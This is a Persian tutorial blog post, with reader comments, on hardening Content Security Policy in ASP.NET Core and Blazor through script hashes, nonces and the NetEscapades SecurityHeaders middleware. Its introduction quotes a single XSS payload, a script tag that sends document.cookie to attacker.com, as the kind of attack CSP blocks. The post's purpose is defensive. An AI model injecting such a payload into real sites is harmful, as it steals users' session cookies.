بهبود امنیت CSP با استفاده از معرفی هش‌های اسکریپت‌های Inline
اندازه‌ی قلم متن
تخمین مدت زمان مطالعه‌ی مطلب: پنج دقیقه

تابحال مطالب زیادی را در مورد تمیزکردن ورودی‌های کاربران، توسط ابزارهای Anti-XSS مطالعه کرده‌اید:
- «ایجاد یک ActionFilter جهت تمیز کردن اطلاعات ورودی در ASP.NET Core»

هدف تمام آن‌ها این است که اگر اطلاعاتی از کاربر دریافت شد، پس از تمیز شدن، مشکلی با نمایش آن‌ها نداشته باشیم و به محض نمایش یک صفحه، قطعه کد جاوااسکریپتی موجود در ورودی اولیه‌ی کاربر، در پشت صحنه به صورت خودکار اجرا نشود. اما ... هرچقدر هم سعی کنیم، به مواردی خواهیم رسید که ممکن است توسط این «تمیز کننده‌های ورودی» پوشش داده نشوند و دست آخر، قابلیت اجرایی داشته باشند. در این حالت به مفهوم دیگری می‌رسیم به نام Content security policy headers و یا به اختصار CSP که اساسا اجرای هر نوع اسکریپت تزریق شده‌ای را در صفحه، ممنوع می‌کند:
- «افزودن هدرهای Content Security Policy به برنامه‌های ASP.NET» برای مثال زمانیکه تنظیم CSP ابتدایی زیر را داریم:
 Content-Security-Policy: default-src 'self'
یعنی مرورگر فقط در این صفحه، اطلاعاتی را که متعلق به سایت و دومین جاری است، بارگذاری می‌کند. در این حالت دیگر ویدیوهای یوتیوب معرفی شده، فایل‌های CSS و یا جاوااسکریپتی دریافتی از یک CDN دیگر اجرا نمی‌شوند؛ چون بارگذاری نخواهند شد. همچنین دیگر نمی‌توان یک قطعه‌ی اسکریپتی را هم داخل صفحه به صورت inline تعریف و اجرا کرد. یعنی حداقل اسکریپت‌های داخل صفحه‌‌ای Google analytics هم از کار خواهند افتاد. که این رفتار دقیقا مطلوب ما است؛ چون نمی‌خواهیم هیچ نوع اسکریپت واقع در صفحه - خصوصا موارد دریافتی از کاربران (مانند مثال زیر) به‌عنوان ورودی! - اجرا شوند. برای نمونه در مثال زیر که پس از نمایش اطلاعات دریافتی از کاربر، در صفحه اجرا می‌شود، کوکی‌های کاربر جاری را جهت ثبت، در اختیار سایت دیگری قرار می‌دهد:
<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>


سؤال: چگونه توسط CSP، اسکریپت‌های inline خوب را از بد تشخیص دهیم؟

یک روش مواجه شدن با منع اجرای اسکریپت‌های inline، مجاز اعلام کردن تمام آن‌ها با فعالسازی و ذکر تنظیم unsafe-inline است که عملا CSP را بی‌مصرف می‌کند. روش دیگر آن، معرفی هش اسکریپت‌های inline مجاز است. اگر هدرهای CSP را فعال کرده باشیم، مرورگر زمانیکه به قطعه کد اسکریپتی که نمی‌خواهد آن‌را اجرا کند برسد، یک چنین پیام خطایی را در developer tools خود صادر می‌کند:
Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution.
همانطور که مشاهده می‌کنید، یک هش از نوع SHA-256 نیز در اینجا ذکر شده‌است. این هش دقیقا مرتبط با قطعه کدی است که خود ما در صفحه قرار داده‌ایم و یک «اسکریپت خوب» به‌شمار می‌رود. روش معرفی آن به هدرهای CSP نیز به صورت زیر است:
Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='
در اینجا به نحو صریحی مشخص می‌کنیم که دقیقا کدام اسکریپت inline، مجاز به اجرا است؛ مابقی موارد به صورت خودکار بلاک خواهند شد. بدیهی است هر تغییری در اسکریپت قرار گرفته شد‌ه‌ی در صفحه، سبب تغییر هش آن خواهد شد و باید مجددا از طریق developer tools مرورگر و پیام خطایی که صادر می‌کند، مقدار این هش را به روز کرد.


معرفی کتابخانه‌ی NetEscapades.AspNetCore.SecurityHeaders‌

جهت سهولت تعریف و اعمال هدرهای CSP در تمام برنامه‌های مبتنی بر ASP.NET Core، منجمله Blazor server و Blazor WASM هاست شده، می‌توان از میان‌افزار NetEscapades.AspNetCore.SecurityHeaders استفاده کرد. برای اینکار ابتدا نیاز است بسته‌ی نیوگت آن‌را معرفی کرد:
<ItemGroup>
   <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" />
</ItemGroup>
و سپس به نحو زیر، یکی از امن‌ترین تنظیمات را تدارک دید:
public static class SecurityHeadersBuilder
{
    public static HeaderPolicyCollection GetCsp(bool isDevelopment)
    {
        var policy = new HeaderPolicyCollection()
                     .AddFrameOptionsDeny()
                     .AddXssProtectionBlock()
                     .AddContentTypeOptionsNoSniff()
                     .AddReferrerPolicyStrictOriginWhenCrossOrigin()
                     .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
                     .AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
                     .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
                     .AddContentSecurityPolicy(builder =>
                                               {
                                                   builder.AddBaseUri().Self();
                                                   builder.AddDefaultSrc().Self().From("blob:");
                                                   builder.AddObjectSrc().Self().From("blob:");
                                                   builder.AddBlockAllMixedContent();
                                                   builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
                                                   builder.AddFontSrc().Self();
                                                   builder.AddStyleSrc().Self();
                                                   builder.AddFrameAncestors().None();
                                                   builder.AddConnectSrc().Self();
                                                   builder.AddMediaSrc().Self();

                                                   builder.AddScriptSrc().Self()
                                                          // Specify any additional hashes to permit your required `non-framework` scripts to load.
                                                          .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
                                                          // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
                                                          .UnsafeEval();

                                                   //TODO: Add api/CspReport/Log action method ...
                                                   // https://www.dntips.ir/post/2706
                                                   builder.AddReportUri().To("/api/CspReport/Log");

                                                   builder.AddUpgradeInsecureRequests();
                                               })
                     .RemoveServerHeader()
                     .AddPermissionsPolicy(builder =>
                                           {
                                               builder.AddAccelerometer().None();
                                               builder.AddAutoplay().None();
                                               builder.AddCamera().None();
                                               builder.AddEncryptedMedia().None();
                                               builder.AddFullscreen().All();
                                               builder.AddGeolocation().None();
                                               builder.AddGyroscope().None();
                                               builder.AddMagnetometer().None();
                                               builder.AddMicrophone().None();
                                               builder.AddMidi().None();
                                               builder.AddPayment().None();
                                               builder.AddPictureInPicture().None();
                                               builder.AddSyncXHR().None();
                                               builder.AddUsb().None();
                                           });

        if (!isDevelopment)
        {
            // maxAge = one year in seconds
            policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
        }

        policy.ApplyDocumentHeadersToAllResponses();
        return policy;
    }
}
چند نکته:
- این تنظیمات برای Blazor WASM تهیه شده‌اند. در این حالت ذکر UnsafeEval برای اجرای اسکریپت‌های فر‌یم‌ورک آن (حداقل تا نگارش 7) ضروری است. اگر از ASP.NET Core و یا Blazor Server استفاده می‌کنید، این تنظیم (UnsafeEval) را حذف کنید.
- روش معرفی هش‌ها را هم در صورت نیاز، توسط متد WithHash256 در این مثال مشاهده می‌کنید.

پس از تدارک کلاس تنظیمات فوق، روش استفاده‌ی از آن در فایل Program.cs و توسط میان‌افزار SecurityHeaders، به صورت زیر است:
var app = builder.Build();

// ...

var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment());
app.UseSecurityHeaders(headerPolicyCollection);

app.UseHttpsRedirection();

// ...
این تنظیم سبب می‌شود تا هدرهای زیر به صورت خودکار تولید و به هر Response ای اضافه شوند:
Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests
Cross-Origin-Embedder-Policy:require-corp
Cross-Origin-Opener-Policy:same-origin
Cross-Origin-Resource-Policy:same-origin
Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=()
Referrer-Policy:strict-origin-when-cross-origin
X-Content-Type-Options:nosniff
X-Frame-Options:DENY
X-Xss-Protection:1; mode=block
  • #
    ‫۱ سال قبل، سه‌شنبه ۱۷ مرداد ۱۴۰۲، ساعت ۱۷:۰۶
    با سلام،
    برای style‌های inline هم باید از WithHash256   استفاده کرد؟
    در یکی از پروژه‌ها متاسفانه inline Style زیاد استفاده شده و بنابراین پس از اجرای پروژه تمامی صفحه به هم می‌ریزد. با استفاده از developer tools هش‌های متعددی مانند پیغام خطایی که شما مثال زدید نمایش می‌دهد. بر آن شدم که تمامی هش‌ها را توسط  WithHash256   وارد کنم اما بازهم نتیجه منفی بود و خطای صادر شده تمامی هش هایی که اضافه شده بودند را نیز در لیست می‌آورد. 
    بنابراین فعلا برای قسمت style از  UnsafeInline استفاده کردم. آیا برای style‌ها می‌شود کار دیگری انجام داد؟
    Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self' <URL> <URL>". Either the 'unsafe-inline' keyword, a hash ('sha256-e89EFOm4894OkHmgoH52lEUIFeaK8fITnql0='), or a nonce ('nonce-...') is required to enable inline execution. Note that hashes do not apply to event handlers, style attributes and javascript: navigations unless the 'unsafe-hashes' keyword is present.

    • #
      ‫۱ سال قبل، سه‌شنبه ۱۷ مرداد ۱۴۰۲، ساعت ۱۷:۵۹
      اگر برای مثال این دو پیام خطا را در developer tools مرورگر دریافت کردید:
      Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self'".
      Either the 'unsafe-inline' keyword, a hash ('sha256-47n3fyKunfMlzbj5WI9A+M7PCtkEBK1FdKBmeIJm6cQ='),
      or a nonce ('nonce-...') is required to enable inline execution.
      
      Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self'".
      Either the 'unsafe-inline' keyword, a hash ('sha256-U7TCPcjA7cg/qySnA1JN36C5ogRYdv4YyFAlyei7GN8='),
      or a nonce ('nonce-...') is required to enable inline execution.
      روش معرفی هش آن‌ها به صورت زیر است (آزمایش شده):
      builder.AddStyleSrc().Self()
        .WithHash256("47n3fyKunfMlzbj5WI9A+M7PCtkEBK1FdKBmeIJm6cQ=")
        .WithHash256("U7TCPcjA7cg/qySnA1JN36C5ogRYdv4YyFAlyei7GN8=");
  • #
    ‫۱ سال قبل، دوشنبه ۱۳ شهریور ۱۴۰۲، ساعت ۱۶:۱۷
    یک نکته‌ی تکمیلی: استفاده از nonce بجای هش

    روش دیگری هم برای مشخص کردن اسکریپت‌ها و شیوه‌نامه‌های inline وجود دارد که nonce نامیده می‌شود. nonce، یک مقدار منحصربفرد است که باید به ازای هر درخواست، یکبار دیگر به صورت خودکار، مجددا تولید شود (اگر ثابت باشد، مهاجم می‌تواند مقدار مشخص آن‌را به اسکریپت‌های خودش اضافه کند):
    script-src 'nonce-rAnd0m'
    یعنی قبل از هرکاری باید میان‌افزاری که کار تولید CSP Headers فوق را انجام می‌دهد، این مقدار را تولید کند. سپس می‌توان این مقدار را به ویژگی nonce برای مثال تگ اسکریپت، اضافه کرد:
    <script nonce="rAnd0m">
    </script>
    مزیت آن، عدم نیاز به محاسبه و یا درج هش این قطعه اسکریپت، مطابق نکات مطلب جاری است؛ اما باید به صورت پویا به ازای هر درخواستی، مجددا در سمت سرور، تولید شود. همچنین تولید مجدد این مقدار، با کش شدن اطلاعات صفحه در تضاد است و باید به آن دقت داشت.

    اگر از کتابخانه‌ی NetEscapades.AspNetCore.SecurityHeaders استفاده می‌کنید، فراخوانی متد WithNonce آن:
    builder.AddScriptSrc().Self().WithNonce()
    به صورت خودکار هدر مرتبط را تولید می‌کند. همچنین مقدار تولیدی آن‌را نیز در HttpContext.Items، درج می‌کند:
    HttpContext.Items["NETESCAPADES_NONCE"]
    به این روش، برای مثال یک Tag Helper و یا قسمت دیگری از برنامه که کار مقدار دهی nonce را به عهده دارد، می‌تواند به مقدار خودکار تولید شده‌ی توسط میان‌افزار، دسترسی داشته باشد (ابتدا میان‌افزار CSP اجرا می‌شود و سپس کار رندر صفحه به صورت جداگانه‌ای انجام می‌شود).

    یک نکته: هنگام درج مقدار nonce در attributes، به HTML encoding آن دقت داشته باشید؛ این مقدار نباید encode شود (یا تغییر کند).
  • #
    ‫۲۷ روز قبل، چهارشنبه ۳۱ مرداد ۱۴۰۳، ساعت ۰۷:۵۵

    یک نکته‌ی تکمیلی: اکثر مشکلات گزارش شده‌ی CSP، ناشی از افزونه‌های کاربران هستند!

    اگر CSP را بر روی سایت خود فعال کنید و گزارشات رسیده‌ی آن‌را بررسی کنید، بیش از همه‌چیز، به خطاهایی مانند گزارش زیر خواهید رسید:

    {
       "csp-report":{
          "blocked-uri":"inline",
          "column-number":74344,
          "disposition":"enforce",
          "document-uri":"https://www.dntips.ir/news/details/19227",
          "effective-directive":"script-src-elem",
          "line-number":1,
          "referrer":"https://www.dntips.ir/",
          "source-file":"moz-extension",
          "status-code":200,
          "violated-directive":"script-src-elem"
       }
    }

    این خطاها، ناشی از دستکاری محتوای صفحه، توسط افزونه‌های ثالث نصب شده‌ی در مرورگرهاست! برای مثال افزونه‌ای را نصب کرده‌اند تا فونت پیش‌فرض صفحه را تغییر دهد که به دلیل فعال بودن CSP، توسط مرورگر برگشت زده می‌شود. لیستی از مواردی را که می‌توانید در این زمینه انتظار داشته باشید، در اینجا قابل مطالعه هستند.